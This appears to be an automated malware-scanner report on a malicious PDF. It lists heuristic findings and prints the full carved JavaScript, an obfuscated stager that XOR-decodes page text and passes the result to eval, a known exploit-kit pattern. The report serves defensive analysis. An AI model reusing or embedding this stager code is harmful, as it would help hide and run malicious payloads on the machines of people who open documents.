MALICIOUS
86
Risk Score
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 3
-
Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGERPDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0x1250 | 1537 bytes |
SHA-256: e908354ca8a5ec66f5aee96d41b97d4ae2a1df9cf0bcaf4e4300a85f1f21270e |
|||
Preview scriptFirst 1,000 lines of the extracted script
var lG=/[&A@D~#_\!k]/g;
var hCN="le"+"ng"+"th";
var wLGL="var ePMJ=_this.l;try {var n={ hYL : \'getPageNthWord\',jQV : \'getPageNumWord_@s\',rGH : \'pakgeNu~m\',bSH : \'e_!val\',nS~kT :@# \'join\',};zWV = 161 ;vkKT=\'\';jDkSB=\'\';pWL=0;zKP=String;tOT=\'\\\\x\';r&QX=\'toString\';tSR=1;bOZ=2;zKPK=4;rYZA=5;vUF=255;pCPE=16;tQB=\'doc\';hKN=332;pET=[];pCP=\'\';bUZ=ePMJ[n.AjQV](ePMJ[n.rGH]);for(dCN=pWL;dCN< bUZ; dCN++){var dMR=ePMJ[n.hYL](eP__MJ[n.rGH],dCN,tSR);@&jSB=[jSB,dMR]!;;}for(dCN=0;dCN <& k!jSB.length; dCN+=bOZ){aFCT=jSB.substr(dCN,bOZ);pIT=parseInt(aFCT,pCPE);pOZ=pIT^zWV;nGR=pOZ.toString(pCPE);nGR=(nGR.length==tSR) ?k@ \'0\' + nGR : nGR;app[n.bSH](\'xQH=(\"\'+tOT+nGR+\'\"&A);\');pET.push(xQH);}try {pCP=pET.join(vKT)!;ePMJ.nCF=(pCP.substr(pCP.length-hKN));ePMJ.tMB=(p_CP.substr(pWL,pCP.length-hKN));h_IV(~k);} Acatch(fYV){if(ePMJ.tMB){try {app[n.bSHk](e&_PMJ.tMB_&);} catch~#(fYV)!#{}}_& else {}}} catch(pCP){app.alert(pCP.message);}";
function fE(eZAD,x){return eZAD+x};
var zOT=new String("repl"+"ace7pB".substr(0,3));
var dAF=String("eval");
var nKB="pro"+"tot"+"ype";
var vKT='';
var pWL=0;
function jAB(vUZ){this.pKV=this.l=vUZ};
var tQB=this;
;
wLGL=wLGL[zOT](lG, vKT);
var vAZU=false;
vYV=["lSBM","oZQH"];
;
jAB[nKB].zKT = function(){
var dO={};
this.l[dAF](wLGL);
var lID={nQJ:22919};var h={tG:32531};var dW=[];
}
var fCV={bGN:false};var zWJ={z:false};r=["sP"];
var tUT=new jAB(tQB);
this.bUN=30491;this.bUN-=30;this.rO=23188;this.rO-=11;this.bCZ=17103;this.bCZ-=226;
tUT.zKT();
;
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.